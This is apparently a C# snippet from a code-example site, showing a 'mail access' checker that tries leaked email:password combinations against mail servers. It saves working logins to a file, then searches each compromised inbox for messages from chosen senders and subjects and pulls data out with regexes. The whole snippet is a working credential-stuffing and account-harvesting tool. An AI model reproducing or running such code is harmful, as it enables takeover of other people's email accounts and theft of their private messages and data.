Exemple #1
0
        public void Check(string email, string pass, string date)
        {
            try
            {
                var combo = email.Split('@');

                var client = ClientConfig.GetMailClient(combo[1]);
                if (!client.Connect())
                {
                    Bad++;
                    return;
                }
                if (!client.Login(email, pass))
                {
                    Bad++;
                    return;
                }
                if (client.IsAuthenticated && client.IsConnected)
                {
                    lock (ob)
                    {
                        File.AppendAllText("mail-access.txt", $"{email}:{pass}\r\n");
                        MailAccess++;
                    }
                }
                foreach (var x in _pSettings.requests)
                {
                    var messages = client.GetMessages(x.Domain, DateTime.Parse(date));
                    foreach (var message in messages)
                    {
                        if (x.ExactEmail)
                        {
                            if (!message.From.Address.Equals(x.Domain))
                            {
                                Bad++;
                                return;
                            }
                        }
                        foreach (var subject in x.subjects)
                        {
                            if (!message.Subject.Contains(subject.subject))
                            {
                                Bad++;
                                return;
                            }
                        }
                        string messs = message.AlternateViews[1].Body;
                        foreach (var failureKey in x.failureKeys)
                        {
                            if (messs.Contains(failureKey.key))
                            {
                                Bad++;
                                return;
                            }
                        }
                        foreach (var successKeys in x.successKeys)
                        {
                            if (!messs.Contains(successKeys.key))
                            {
                                Error++;
                                return;
                            }
                        }
                        int index = 0;
                        foreach (var list in x.variables)
                        {
                            index++;
                            switch (list.regexpos)
                            {
                            case "Body":
                                variabless.Add(new Variabless
                                {
                                    index  = index,
                                    result = Regex.Match(message.AlternateViews[1].Body, list.regex)
                                });
                                break;

                            case "Subject":
                                variabless.Add(new Variabless
                                {
                                    index  = index,
                                    result = Regex.Match(message.AlternateViews[1].Body, list.regex)
                                });
                                break;

                            default:
                                break;
                            }
                        }
                        lock (ob)
                        {
                            Good++;
                            string caps = _pSettings.Capture.Replace("<EMAIL>", email).Replace("<PASS>", pass).Replace("<Message.Subject>", message.Subject).Replace("<Message.From>", message.From.Address).Replace("<Message.Date>", message.Date.ToShortDateString());
                            caps = getRegex(caps);
                            caps = getReplace(caps);
                            Console.WriteLine(caps);
                            string capss = _pSettings.FileOutput.Replace("<EMAIL>", email).Replace("<PASS>", pass).Replace("<Message.Subject>", message.Subject).Replace("<Message.From>", message.From.Address).Replace("<Message.Date>", message.Date.ToShortDateString());
                            capss = getRegex(capss);
                            capss = getReplace(capss);
                            File.AppendAllText(Directory.GetCurrentDirectory() + "\\Results\\" + _pSettings.FileName + ".txt", capss + "\r\n");
                        }
                    }
                    variabless.Clear();
                }
            }
            catch { }
        }